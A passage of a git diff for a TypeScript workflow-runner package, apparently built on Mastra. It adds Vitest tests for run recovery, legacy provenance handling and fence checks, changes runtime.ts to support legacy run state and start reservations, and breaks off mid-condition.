finally { + f.close(); + } + }); + + it.each([ + null, + [], + 1, + 'workflow', + { kind: 'wrong' }, + { + kind: 'agent', + id: 'writer', + threadId: 'thread', + owner: { kind: 'human', id: 'owner' }, + threaded: 'false', + }, + ])('R09 rejects malformed recovery expectation %j before I/O', async (expectedTarget) => { + const f = await d3RuntimeFixture(); + try { + assert(f.capability); + const read = vi.spyOn(f.capability, 'readSnapshot'), + quiescent = vi.fn(() => true); + const result = await f.runtime + .recoverStartAttempt( + { + tablePrefix: 'd3_', + workflowId: f.workflow.id, + runId: 'd3-run', + startToken: 'S', + }, + { + attemptToken: 'H', + isOwnerQuiescent: quiescent, + expectedTarget: expectedTarget as never, + }, + ) + .catch((error) => error); + expect(read).not.toHaveBeenCalled(); + expect(quiescent).not.toHaveBeenCalled(); + expect(await f.row()).toBeNull(); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(InvalidRunRequestError); + } finally { + f.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it.each([ + 'agent-role', + 'foreign-workflow', + 'missing-identity', + ] as const)('R09 rejects B2 returned workflow expectation mismatch %s before settlement', async (mismatch) => { + const f = await d3RuntimeFixture(); + try { + const execution = await d3UnkeyedTargetPending(f, 'workflow'); + assert(f.capability); + const native = f.capability.terminalizeInitialAdmission; + vi.spyOn(f.capability, 'terminalizeInitialAdmission').mockImplementation( + async (input) => { + const result = await native(input); + assert(result.kind !== 'conflict'); + const snapshot = JSON.parse(result.row.snapshot); + const provenance = snapshot.requestContext['flowsafe.runProvenance']; + if (mismatch === 'agent-role') { + provenance.startIdentity.target = { + kind: 'agent', + id: 'writer', + threadId: 'thread', + }; + provenance.agentStart = { threaded: false }; + } else if (mismatch === 'foreign-workflow') + provenance.startIdentity.target.id = 'other-workflow'; + else d3ReplaceRecoveryTarget(provenance, 'missing-identity'); + return { + ...result, + kind: 'progressed', + row: { ...result.row, snapshot: JSON.stringify(snapshot) }, + }; + }, + ); + const read = vi.spyOn(f.capability, 'readSnapshot'), + settle = vi.spyOn(f.reservations, 'settleExecution'); + const result = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + isOwnerQuiescent: () => true, + expectedTarget: { kind: 'workflow' }, + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('failed'); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'] + .startIdentity.target, + ).toEqual({ kind: 'workflow', id: f.workflow.id }); + expect(read).toHaveBeenCalledOnce(); + expect(settle).not.toHaveBeenCalled(); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(ExecutionFenceUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + { owner: { kind: 'operator', id: 'owner' } }, + { owner: { kind: 'human', id: '' } }, + { owner: null }, + { id: 'bad/agent' }, + { threadId: 'bad/thread' }, + ])('R09 uses the existing identity normalizer for invalid managed recovery target %j', async (invalid) => { + const f = await d3RuntimeFixture(); + try { + assert(f.capability); + const read = vi.spyOn(f.capability, 'readSnapshot'), + quiescent = vi.fn(() => true); + const result = await f.runtime + .recoverStartAttempt( + { + tablePrefix: 'd3_', + workflowId: f.workflow.id, + runId: 'd3-run', + startToken: 'S', + }, + { + attemptToken: 'H', + isOwnerQuiescent: quiescent, + expectedTarget: { ...d3ExpectedAgentTarget(), ...invalid } as never, + }, + ) + .catch((error) => error); + expect(read).not.toHaveBeenCalled(); + expect(quiescent).not.toHaveBeenCalled(); + expect(await f.row()).toBeNull(); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(InvalidExecutionIdentityError); + } finally { + f.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it('R08 freezes workflow recovery kind before owning quiescence', async () => { + const f = await d3RuntimeFixture(), + entered = cDeferred(), + release = cDeferred(); + let pending: Promise | undefined; + try { + const execution = await d3UnkeyedTargetPending(f, 'workflow'); + const expectedTarget = { kind: 'workflow' as const }; + pending = f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + expectedTarget, + isOwnerQuiescent: async () => { + entered.resolve(); + await release.promise; + return true; + }, + }) + .catch((error) => error); + await entered.promise; + expect(Object.isFrozen(expectedTarget)).toBe(false); + Object.assign(expectedTarget, d3ExpectedAgentTarget()); + release.resolve(); + const result = await pending; + expect((await f.row())?.status).toBe('failed'); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'] + .startIdentity.target, + ).toEqual({ kind: 'workflow', id: f.workflow.id }); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toMatchObject({ + kind: 'ordinary', + summary: { status: 'failed' }, + }); + } finally { + release.resolve(); + await pending; + f.close(); + } + }); +}); + +function d3LegacySnapshot( + version: 'v1' | 'absent', + status: RunSummary['status'] = 'success', +) { + const snapshot = d1Snapshot(status); + if (version === 'v1') + snapshot.requestContext['flowsafe.runProvenance'] = { + version: 1, + attemptToken: 'legacy-H', + requestedBy: 'legacy-requester', + resumeCounts: [['gate', 2]], + }; + else delete snapshot.requestContext['flowsafe.runProvenance']; + return snapshot; +} + +describe('FS8 D3 fix R1 legacy Runtime observations', () => { + it.each( + (['default', 'prefixed', 'unfenced'] as const).flatMap((storage) => + (['v1', 'absent'] as const).flatMap((version) => + (['pending', 'suspended', 'success'] as const).map((status) => ({ + storage, + version, + status, + })), + ), + ), + )('selects $storage $version $status once only with explicit legacy opt-in', async ({ + storage, + version, + status, + }) => { + const f = await d1Fixture(storage); + try { + const snapshot = d3LegacySnapshot(version, status); + await f.seed(snapshot); + const read = + storage === 'unfenced' + ? vi.spyOn(f.workflows, 'getWorkflowRunById') + : vi.spyOn(f.capability, 'readSnapshot'); + const mint = vi.spyOn(crypto, 'randomUUID'); + const result = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + { includeLegacy: true }, + ); + expect(result).toMatchObject({ + kind: 'legacy', + provenanceVersion: version === 'v1' ? 1 : undefined, + address: { + tablePrefix: + storage === 'unfenced' ? null : storage === 'prefixed' ? 'd1_' : '', + workflowId: 'd1-workflow', + runId: 'd1-run', + }, + snapshot, + summary: { runId: 'd1-run', status }, + }); + expect(result).not.toHaveProperty('execution'); + expect(result?.kind === 'legacy' && result.address).not.toHaveProperty( + 'startToken', + ); + expect(read).toHaveBeenCalledOnce(); + expect(mint).not.toHaveBeenCalled(); + if (version === 'v1') + expect(result?.summary?.requestedBy).toBe('legacy-requester'); + else expect(result?.summary).not.toHaveProperty('requestedBy'); + if (status === 'suspended') + expect(result?.summary?.resumeCount).toEqual( + version === 'v1' ? { gate: 2 } : undefined, + ); + mint.mockRestore(); + read.mockRestore(); + const before = await f.workflows.loadWorkflowSnapshot({ + workflowName: 'd1-workflow', + runId: 'd1-run', + }); + const refused = await f.runtime + .authoritativeStartState('d1-workflow', 'd1-run') + .catch((error) => error); + expect( + await f.workflows.loadWorkflowSnapshot({ + workflowName: 'd1-workflow', + runId: 'd1-run', + }), + ).toEqual(before); + expect(refused).toBeInstanceOf(RunStateUnreadableError); + } finally { + vi.restoreAllMocks(); + f.close(); + } + }); + + it.each([ + null, + 'legacy', + 3, + [[]], + { version: 3 }, + { version: 1 }, + { version: 1, attemptToken: 'bad/token', resumeCounts: [] }, + { version: 1, attemptToken: 'H', requestedBy: ' ', resumeCounts: [] }, + { + version: 1, + attemptToken: 'H', + requestedByKind: 'human', + resumeCounts: [], + }, + { version: 1, attemptToken: 'H', resumeCounts: [['gate', 0]] }, + { version: 2, startToken: 'S1', attemptToken: 'H', resumeCounts: 'wrong' }, + ])('does not reclassify malformed provenance as legacy (%j)', async (provenance) => { + const f = await d1Fixture(); + try { + const snapshot = d1Snapshot(); + snapshot.requestContext['flowsafe.runProvenance'] = provenance; + await f.seed(snapshot); + const before = await f.workflows.loadWorkflowSnapshot({ + workflowName: 'd1-workflow', + runId: 'd1-run', + }); + const read = vi.spyOn(f.capability, 'readSnapshot'); + const result = await f.runtime + .authoritativeStartState('d1-workflow', 'd1-run', { + includeLegacy: true, + }) + .catch((error) => error); + expect( + await f.workflows.loadWorkflowSnapshot({ + workflowName: 'd1-workflow', + runId: 'd1-run', + }), + ).toEqual(before); + expect(read).toHaveBeenCalledOnce(); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + 'read failure', + 'JSON', + 'selector', + 'timestamp', + 'container', + ] as const)('retains authoritative unreadability instead of a legacy fallback after %s', async (fault) => { + const f = await d1Fixture(); + try { + await f.seed(d3LegacySnapshot('v1')); + const native = f.capability.readSnapshot; + const read = vi + .spyOn(f.capability, 'readSnapshot') + .mockImplementation(async (address) => { + if (fault === 'read failure') throw new Error('selected read failed'); + const row = await native(address); + assert(row); + if (fault === 'JSON') return { ...row, snapshot: '{' }; + if (fault === 'selector') return { ...row, workflowId: 'other' }; + if (fault === 'timestamp') return { ...row, updatedAt: 'invalid' }; + const snapshot = JSON.parse(row.snapshot); + snapshot.context = []; + return { ...row, snapshot: JSON.stringify(snapshot) }; + }); + const ordinary = vi.spyOn(f.workflows, 'getWorkflowRunById'); + const result = await f.runtime + .authoritativeStartState('d1-workflow', 'd1-run', { + includeLegacy: true, + }) + .catch((error) => error); + expect(read).toHaveBeenCalledOnce(); + expect(ordinary).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + 'prefixed', + 'unfenced', + ] as const)('captures actual %s source, method and legacy option before the selected read waits', async (storage) => { + const nominal = await d1Fixture(), + actual = await d1Fixture(storage), + entered = cDeferred(), + release = cDeferred(); + let pending: Promise | undefined; + try { + await nominal.seed(d1Snapshot()); + await actual.seed(d3LegacySnapshot('v1')); + vi.spyOn(nominal.workflow, 'mastra', 'get').mockReturnValue( + new Mastra({ storage: actual.storage, logger: false }), + ); + const options = { includeLegacy: true as const }; + const receivers: unknown[] = []; + if (storage === 'prefixed') { + const native = actual.capability.readSnapshot; + actual.capability.readSnapshot = async function (address) { + receivers.push(this); + const row = await native.call(this, address); + entered.resolve(); + await release.promise; + return row; + }; + } else { + const native = actual.workflows.getWorkflowRunById; + actual.workflows.getWorkflowRunById = async function (address) { + receivers.push(this); + const row = await native.call(this, address); + entered.resolve(); + await release.promise; + return row; + }; + } + const nominalRead = vi.spyOn(nominal.capability, 'readSnapshot'); + pending = nominal.runtime + .authoritativeStartState('d1-workflow', 'd1-run', options) + .catch((error) => error); + const actualReadEntered = await Promise.race([ + entered.promise.then(() => true), + pending.then(() => false), + ]); + expect(actualReadEntered).toBe(true); + Object.assign(options, { includeLegacy: false }); + const replacement = vi + .fn() + .mockRejectedValue(new Error('replacement read must not run')); + if (storage === 'prefixed') actual.capability.readSnapshot = replacement; + else actual.workflows.getWorkflowRunById = replacement; + release.resolve(); + const result = await pending; + expect(result).toMatchObject({ + kind: 'legacy', + address: { tablePrefix: storage === 'prefixed' ? 'd1_' : null }, + summary: { requestedBy: 'legacy-requester' }, + }); + expect(receivers).toEqual([ + storage === 'prefixed' ? actual.capability : actual.workflows, + ]); + expect(nominalRead).not.toHaveBeenCalled(); + expect(replacement).not.toHaveBeenCalled(); + } finally { + release.resolve(); + await pending; + nominal.close(); + actual.close(); + } + }); + + it('does not use a cached Core run when the selected legacy-capable row is absent', async () => { + const f = await d1Fixture(); + try { + await f.workflow.createRun({ runId: 'd1-run' }); + await f.seed(d3LegacySnapshot('v1')); + f.sql + .prepare( + 'DELETE FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?', + ) + .run('d1-workflow', 'd1-run'); + const before = f.workflow.runs.get('d1-run'); + expect(before).toBeDefined(); + const read = vi.spyOn(f.capability, 'readSnapshot'); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run', { + includeLegacy: true, + }), + ).resolves.toBeNull(); + expect(f.workflow.runs.get('d1-run')).toBe(before); + expect(read).toHaveBeenCalledOnce(); + } finally { + f.close(); + } + }); + + it('keeps raw legacy pending visible even when lifecycle projection looks terminal', async () => { + const f = await d1Fixture(); + try { + const snapshot = d3LegacySnapshot('v1', 'pending'); + snapshot.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: 1, + terminal: { + status: 'cancelled', + transitionedAt: 1, + error: { code: 'CANCELLED', message: 'run was cancelled' }, + replayPrincipals: [{ kind: 'human', id: 'owner' }], + }, + }; + await f.seed(snapshot); + const result = await f.runtime.authoritativeStartState( + 'd1-workflow', + 'd1-run', + { includeLegacy: true }, + ); + expect(result).toMatchObject({ + kind: 'legacy', + snapshot: { status: 'pending' }, + summary: { status: 'cancelled' }, + }); + expect(result).not.toHaveProperty('execution'); + } finally { + f.close(); + } + }); + + it('preserves changed v1 current requester during native authorized resume without creating v2 identity', async () => { + const f = await d3RuntimeFixture(); + try { + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + }); + const snapshot = await f.row(); + assert(snapshot?.requestContext); + snapshot.requestContext['flowsafe.runProvenance'] = { + version: 1, + attemptToken: 'legacy-H', + requestedBy: 'initial-owner', + requestedByKind: 'human', + resumeCounts: [], + }; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + await expect( + f.runtime.resume(f.workflow.id, 'd3-run', { + resumeData: { go: true }, + requestedBy: 'reviewer', + requestedByKind: 'service', + }), + ).resolves.toMatchObject({ status: 'success', requestedBy: 'reviewer' }); + const result = await f.runtime.authoritativeStartState( + f.workflow.id, + 'd3-run', + { includeLegacy: true }, + ); + expect(result).toMatchObject({ + kind: 'legacy', + provenanceVersion: 1, + summary: { + status: 'success', + requestedBy: 'reviewer', + requestedByKind: 'service', + }, + }); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'], + ).toMatchObject({ + version: 1, + startToken: 'legacy-H', + resumeCounts: [['gate', 1]], + }); + expect(result).not.toHaveProperty('execution'); + expect(f.effects).toHaveBeenCalledTimes(2); + await expect( + f.runtime.authoritativeStartState(f.workflow.id, 'd3-run'), + ).rejects.toBeInstanceOf(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it('preserves strict ReturnType and Parameters while typing explicit legacy reads', () => { + expectTypeOf< + ReturnType + >().toEqualTypeOf>(); + expectTypeOf< + Parameters + >().toEqualTypeOf<[string, string]>(); + const readLegacy = (runtime: RunnerRuntime) => + runtime.authoritativeStartState('workflow', 'run', { + includeLegacy: true, + }); + expectTypeOf(readLegacy).returns.toEqualTypeOf< + Promise + >(); + expectTypeOf< + Extract + >().toEqualTypeOf(); + }); +}); + +describe('FS8 D3 fix R1 legacy Runtime observations', () => { + it.each([ + 'v1', + 'absent', + ] as const)('does not admit %s to private recovery or proof through the opt-in capability', async (version) => { + const f = await d1Fixture('default', 'fence'); + try { + await f.seed(d3LegacySnapshot(version)); + const fence = f.runtime.executionFence; + assert(fence); + await fence.seed('open'); + await fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: 'proof-key', + }); + const before = await f.workflows.loadWorkflowSnapshot({ + workflowName: 'd1-workflow', + runId: 'd1-run', + }); + const terminalize = vi.spyOn(f.capability, 'terminalizeInitialAdmission'); + const settle = vi.spyOn(f.runtime, 'settleStartExecution'); + await expect( + f.runtime.authoritativeStartState('d1-workflow', 'd1-run', { + includeLegacy: true, + }), + ).resolves.toMatchObject({ kind: 'legacy' }); + const recovery = await f.runtime + .recoverStartAttempt( + { + tablePrefix: '', + workflowId: 'd1-workflow', + runId: 'd1-run', + startToken: 'legacy-H', + }, + { attemptToken: 'legacy-H', isOwnerQuiescent: () => true }, + ) + .catch((error) => error); + const proof = await f.runtime + .assertExistingRunAllowed('d1-workflow', 'd1-run') + .catch((error) => error); + expect( + await f.workflows.loadWorkflowSnapshot({ + workflowName: 'd1-workflow', + runId: 'd1-run', + }), + ).toEqual(before); + expect(terminalize).not.toHaveBeenCalled(); + expect(settle).not.toHaveBeenCalled(); + expect(recovery).toBeInstanceOf(RunStateUnreadableError); + expect(proof).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it('refuses a legacy-shaped initial witness without losing the actual modern pending row', async () => { + const f = await d3RuntimeFixture(); + try { + assert(f.capability); + const native = f.capability.withInitialAdmission; + f.capability.withInitialAdmission = async (input, create) => { + const result = await native(input, create); + const snapshot = JSON.parse(result.witness.row.snapshot); + snapshot.requestContext['flowsafe.runProvenance'].version = 1; + return { + ...result, + witness: { + ...result.witness, + row: { ...result.witness.row, snapshot: JSON.stringify(snapshot) }, + }, + }; + }; + const result = await f.runtime + .start(f.workflow.id, f.options()) + .catch((error) => error); + expect((await f.row())?.status).toBe('pending'); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'].version, + ).toBe(2); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.close(); + } + }); + + it('refuses a legacy-shaped B2 returned row before modern reservation settlement', async () => { + const f = await d3RuntimeFixture(); + try { + const { execution, claim } = await d3PreparedPending(f); + assert(f.capability); + const native = f.capability.terminalizeInitialAdmission; + f.capability.terminalizeInitialAdmission = async (input) => { + const result = await native(input); + assert(result.kind !== 'conflict'); + const snapshot = JSON.parse(result.row.snapshot); + snapshot.requestContext['flowsafe.runProvenance'].version = 1; + return { + ...result, + row: { ...result.row, snapshot: JSON.stringify(snapshot) }, + }; + }; + const result = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + isOwnerQuiescent: () => true, + startReservation: claim, + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('failed'); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'].version, + ).toBe(2); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'started', + ); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(ExecutionFenceUnreadableError); + } finally { + f.close(); + } + }); +}); diff --git a/packages/flowsafe/src/do-runner/runtime.ts b/packages/flowsafe/src/do-runner/runtime.ts index 209c84bb..4f3771ad 100644 --- a/packages/flowsafe/src/do-runner/runtime.ts +++ b/packages/flowsafe/src/do-runner/runtime.ts @@ -23,7 +23,10 @@ import type { Agent, ToolsInput } from '@mastra/core/agent'; import type { IMastraLogger } from '@mastra/core/logger'; import { Mastra } from '@mastra/core/mastra'; import { RequestContext } from '@mastra/core/request-context'; -import type { MastraCompositeStore } from '@mastra/core/storage'; +import type { + MastraCompositeStore, + WorkflowsStorage, +} from '@mastra/core/storage'; import { type AnyWorkflow, cleanStepResult, @@ -45,10 +48,15 @@ import { BREAKWATER_WORKFLOW_SCOPE_KEY, } from './breakwater-keys.js'; import { + assertMutationEpoch, type D1RunExecutionIdentity, + ExecutionFenceUnreadableError, + normalizeD1RunExecutionIdentity, normalizeMutationEpoch, normalizeStartIdentity, + type ProofEntryExpectation, type RunExecutionIdentity, + RunStartPendingError, type StartIdentity, } from './execution-admission.js'; import { @@ -66,6 +74,7 @@ import { FENCED_WORKFLOW_STORAGE, type FencedWorkflowAdmissionCapability, } from './fenced-workflow-capability.js'; +import { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js'; import { mastraRegistryEntries } from './mastra-registry.js'; import { isPathSafeId } from './path-safe-id.js'; import type { HostPubSub } from './pubsub.js'; @@ -86,6 +95,7 @@ import { type RunTerminalCleanup, type RunTerminalErrorEnvelope, type RunTerminalStatus, + terminalCleanupFor, } from './run-lifecycle.js'; import { decodeProgressRunProvenance, @@ -98,10 +108,15 @@ import { type CoreRunResult, errorText, isRunStatus, + isTerminalRunStatus, type RunStatus, terminalStateFields, terminalStateUpdate, } from './run-terminal-state.js'; +import { + captureReservation, + type StartReservationReading, +} from './start-reservation-contract.js'; import { validateTablePrefix } from './table-prefix.js'; import type { RawWorkflowSnapshot } from './workflow-snapshot-row.js'; @@ -267,7 +282,7 @@ const RUN_STATE_FIELDS: WorkflowStateField[] = [ ]; /** @internal One physical observation; this does not certify a logical root. */ -type AuthoritativeStartState = { +export type AuthoritativeStartState = { readonly provenance: ProgressRunProvenance; readonly snapshot: WorkflowRunState; } & ( @@ -287,7 +302,19 @@ type AuthoritativeStartState = { | { readonly kind: 'result'; readonly summary: RunSummary } ); -interface RunProvenance { +/** @internal Ordinary compatibility data, never execution-generation authority. */ +export interface LegacyRunState { + readonly kind: 'legacy'; + readonly provenanceVersion: 1 | undefined; + readonly address: Pick< + RunExecutionIdentity, + 'tablePrefix' | 'workflowId' | 'runId' + >; + readonly snapshot: WorkflowRunState; + readonly summary: RunSummary; +} + +interface LegacyRunProvenance { version: 1; /** Absent on unattributed runs; may be unpaired only on legacy snapshots. */ requestedBy?: string; @@ -300,6 +327,8 @@ interface RunProvenance { resumeCounts: Array<[string, number]>; } +type RunProvenance = LegacyRunProvenance | ProgressRunProvenance; + function runProvenance( state: Pick, ): RunProvenance | undefined { @@ -308,7 +337,9 @@ function runProvenance( if (value === null || typeof value !== 'object') { throw new Error('stored run provenance is malformed'); } - const candidate = value as Partial; + if ((value as { version?: unknown }).version === 2) + return decodeProgressRunProvenance(value); + const candidate = value as Partial; if ( candidate.version !== 1 || (candidate.requestedBy !== undefined && @@ -553,7 +584,7 @@ function summaryFromSelectedSnapshot( runId: string, snapshot: WorkflowRunState, timestamps: { createdAt: string; updatedAt: string }, - provenance: ProgressRunProvenance, + provenance: RunProvenance | undefined, ): RunSummary { const steps = Object.fromEntries( Object.entries(snapshot.context ?? {}) @@ -571,9 +602,9 @@ function summaryFromSelectedSnapshot( steps, ...timestamps, }, - new Map(provenance.resumeCounts), - provenance.requestedBy, - provenance.requestedByKind, + provenance ? new Map(provenance.resumeCounts) : undefined, + provenance?.requestedBy, + provenance?.requestedByKind, ); } @@ -769,7 +800,7 @@ export type StartRunOptions = { * target. Runtime-owned keys are stripped again before execution. */ storedRequestContext?: Record; - /** Host recovery token persisted with the first executed snapshot. */ + /** Host correlation token for this execution leg. */ attemptToken?: string; /** Relative run deadline, measured from this start. */ deadlineMs?: number; @@ -791,12 +822,19 @@ export type StartRunOptions = { * @internal */ idempotencyKey?: string; + /** @internal Captured infrastructure authority; never request-context data. */ + readonly startReservation?: StartReservationReading; + /** @internal Captured infrastructure authority; never request-context data. */ readonly mutationEpoch?: number; + /** @internal Captured infrastructure authority; never request-context data. */ readonly startIdentity?: StartIdentity; + /** @internal Captured infrastructure authority; never request-context data. */ readonly agentStart?: { readonly threaded: boolean }; + /** @internal Captured infrastructure authority; never request-context data. */ readonly onPreparedStartIdentity?: ( execution: RunExecutionIdentity, ) => void | Promise; + /** @internal Captured infrastructure authority; never request-context data. */ readonly runOwnerGuard?: { readonly owner: StartIdentity['owner']; readonly reservationToken: string; @@ -877,6 +915,7 @@ function captureStartRunOptions(source: StartRunOptions): StartRunOptions { agentStart: rawAgentStart, onPreparedStartIdentity, runOwnerGuard: rawGuard, + startReservation: rawReservation, } = source; if (requestedBy !== undefined && !isExecutionPrincipalId(requestedBy)) { throw new InvalidRunRequestError('requestedBy is malformed'); @@ -895,6 +934,10 @@ function captureStartRunOptions(source: StartRunOptions): StartRunOptions { const mutationEpoch = normalizeMutationEpoch(rawEpoch); const startIdentity = rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity); + const startReservation = + rawReservation === undefined + ? undefined + : captureReservation(rawReservation, 'started'); let agentStart: StartRunOptions['agentStart']; if (rawAgentStart !== undefined) { if ( @@ -910,6 +953,8 @@ function captureStartRunOptions(source: StartRunOptions): StartRunOptions { } agentStart = Object.freeze({ threaded }); } + if (agentStart !== undefined && startIdentity?.target.kind !== 'agent') + throw new InvalidRunRequestError('agentStart has no agent target'); if (startIdentity?.target.kind === 'agent' && agentStart === undefined) { throw new InvalidRunRequestError( 'agentStart is required for an agent target', @@ -917,7 +962,6 @@ function captureStartRunOptions(source: StartRunOptions): StartRunOptions { } if ( startIdentity && - requestedBy !== undefined && (startIdentity.owner.id !== requestedBy || startIdentity.owner.kind !== requestedByKind) ) { @@ -1017,6 +1061,7 @@ function captureStartRunOptions(source: StartRunOptions): StartRunOptions { agentStart, onPreparedStartIdentity, runOwnerGuard, + startReservation, }; return Object.freeze( requestedBy !== undefined && requestedByKind !== undefined @@ -1072,6 +1117,81 @@ function effectiveLifecycle( }; } +type CapturedWorkflowStorage = { + readonly workflows: WorkflowsStorage; + readonly read: WorkflowsStorage['getWorkflowRunById']; + readonly load: WorkflowsStorage['loadWorkflowSnapshot']; + readonly persist: WorkflowsStorage['persistWorkflowSnapshot']; +} & ( + | { readonly storage: 'unfenced'; readonly tablePrefix: null } + | { + readonly storage: 'd1'; + readonly tablePrefix: string; + readonly capability: FencedWorkflowAdmissionCapability; + readonly database: FencedWorkflowAdmissionCapability['database']; + readonly readSnapshot: FencedWorkflowAdmissionCapability['readSnapshot']; + readonly admit: FencedWorkflowAdmissionCapability['withInitialAdmission']; + readonly terminalize: FencedWorkflowAdmissionCapability['terminalizeInitialAdmission']; + } +); + +type ActiveRun = { + run?: { cancel(): Promise }; + lifecycle?: RunLifecycleState; + requestContext?: RequestContext; + source?: CapturedWorkflowStorage; +}; + +/** @internal An owning recovery's selected durable outcome. */ +export type RecoveredStart = + | { kind: 'ordinary'; summary: RunSummary } + | { kind: 'lifecycle'; transition: RunLifecycleTransitionResult }; + +type RecoveryTargetExpectation = + | { readonly kind: 'workflow' } + | { + readonly kind: 'agent'; + readonly id: string; + readonly threadId: string; + readonly owner: StartIdentity['owner']; + readonly threaded: boolean; + }; + +function sameExecution( + a: RunExecutionIdentity, + b: RunExecutionIdentity, +): boolean { + return ( + a.tablePrefix === b.tablePrefix && + a.workflowId === b.workflowId && + a.runId === b.runId && + a.startToken === b.startToken + ); +} + +function assertClaimIdentity( + claim: StartReservationReading, + execution: StartIdentity & { runId: string }, + key = claim.key, +): void { + if ( + claim.key !== key || + claim.runId !== execution.runId || + claim.owner.id !== execution.owner.id || + claim.owner.kind !== execution.owner.kind || + claim.targetKind !== execution.target.kind || + claim.targetId !== execution.target.id || + claim.threadId !== + (execution.target.kind === 'agent' + ? execution.target.threadId + : undefined) + ) { + throw new InvalidRunRequestError( + 'start reservation disagrees with execution identity', + ); + } +} + export class RunnerRuntime { readonly #storage: MastraCompositeStore; readonly #logger: IMastraLogger | false; @@ -1079,14 +1199,7 @@ export class RunnerRuntime { readonly #agents = new Map(); readonly #workflows = new Map(); readonly #runLocks = new Map>(); - readonly #activeRuns = new Map< - string, - { - run?: { cancel(): Promise }; - lifecycle?: RunLifecycleState; - requestContext?: RequestContext; - } - >(); + readonly #activeRuns = new Map(); readonly #terminalAbortIntents = new Map(); readonly #lifecycleLocks = new Map>(); // The host DO's pubsub identity (RunnerRuntimeOptions.pubsub), threaded into @@ -1202,67 +1315,133 @@ export class RunnerRuntime { return [...this.#workflows.keys()]; } - /** - * The fence check every mint passes. In proof-only the admitted start also - * BINDS the proof to its run id, and that write-back is conditional: between - * the read that admitted it and the write another start may have claimed the - * proof, or the operator may have moved the fence on. Zero rows changed - * therefore refuses the start — the deployment is no longer the one this - * start read. - */ async #assertStartFence( - runId: string, idempotencyKey: string | undefined, - ): Promise { + mutationEpoch: number | undefined, + ): Promise { const fence = this.#executionFence; if (!fence) return; const reading = await fence.read(); - if (!admitsRunStart(reading, idempotencyKey)) { + assertMutationEpoch(reading, mutationEpoch); + if (!admitsRunStart(reading, idempotencyKey)) throw new ExecutionFencedError(reading.state, 'run start'); - } - if (reading.state !== 'proof-only' || reading.proofKey === undefined) { - return; - } - if (!(await fence.recordProofRun(reading.proofKey, runId))) { - throw new ExecutionFencedError(reading.state, 'run start'); - } + if (reading.state === 'proof-only' && reading.proofKey !== undefined) + return Object.freeze({ + key: reading.proofKey, + mutationEpoch: reading.mutationEpoch, + transitionRevision: reading.transitionRevision, + }); } - /** - * Mark this run's start reservation spent, if it has one. - * - * BEST EFFORT, and deliberately so: the run has already reached a terminal - * state and its snapshot is already persisted, so failing the caller here - * would turn a completed run into an error response — while the reconcile it - * failed to make costs only the LATER answer's precision (a purged run - * replays as UNRESOLVABLE rather than ALREADY_SETTLED, which refuses either - * way). The retention purge marks any reservation this missed, so a swallowed - * failure heals rather than accumulating. - */ - async #settleStartReservation(runId: string): Promise { - const store = this.#startIdempotency; - if (!store) return; + async #settleStartReservation(state: AuthoritativeStartState): Promise { + if (state.kind !== 'result' || !isTerminalRunStatus(state.summary.status)) + return; try { - await store.settleRun(runId); + await this.settleStartExecution(state); } catch (error) { console.error( JSON.stringify({ type: 'start-reservation-settle-failed', - runId, + runId: state.execution.runId, error: error instanceof Error ? error.message : String(error), }), ); } } - /** The fence check every re-entry passes — resume, and the deadline alarm. */ - async #assertResumeFence(runId: string): Promise { + async #assertResumeFence( + workflowId: string, + runId: string, + ): Promise { const fence = this.#executionFence; if (!fence) return; const reading = await fence.read(); - if (!admitsExistingRun(reading, runId)) { + if (reading.state === 'open' || reading.state === 'draining') return; + if (reading.state === 'migration-locked') + throw new ExecutionFencedError(reading.state, 'run resume'); + const state = await this.authoritativeStartState(workflowId, runId); + if (state?.storage !== 'd1' || !admitsExistingRun(reading, state.execution)) throw new ExecutionFencedError(reading.state, 'run resume'); + return state.execution; + } + + /** @internal Retain this physical proof expectation across preparation waits. */ + assertExistingRunAllowed( + workflowId: string, + runId: string, + ): Promise { + return this.#assertResumeFence(workflowId, runId); + } + + async #assertRetainedResume( + source: CapturedWorkflowStorage, + workflowId: string, + runId: string, + expected: RunProvenance | undefined, + proof: D1RunExecutionIdentity | undefined, + ): Promise { + const reading = this.#executionFence + ? await this.#executionFence.read() + : undefined; + const snapshot = await source.load.call(source.workflows, { + workflowName: workflowId, + runId, + }); + if (!snapshot) throw new UnknownRunError(workflowId, runId); + if (snapshot.runId !== runId) + throw new RunStateUnreadableError(workflowId, runId); + const current = runProvenance(snapshot); + if ( + expected?.version === 2 && + 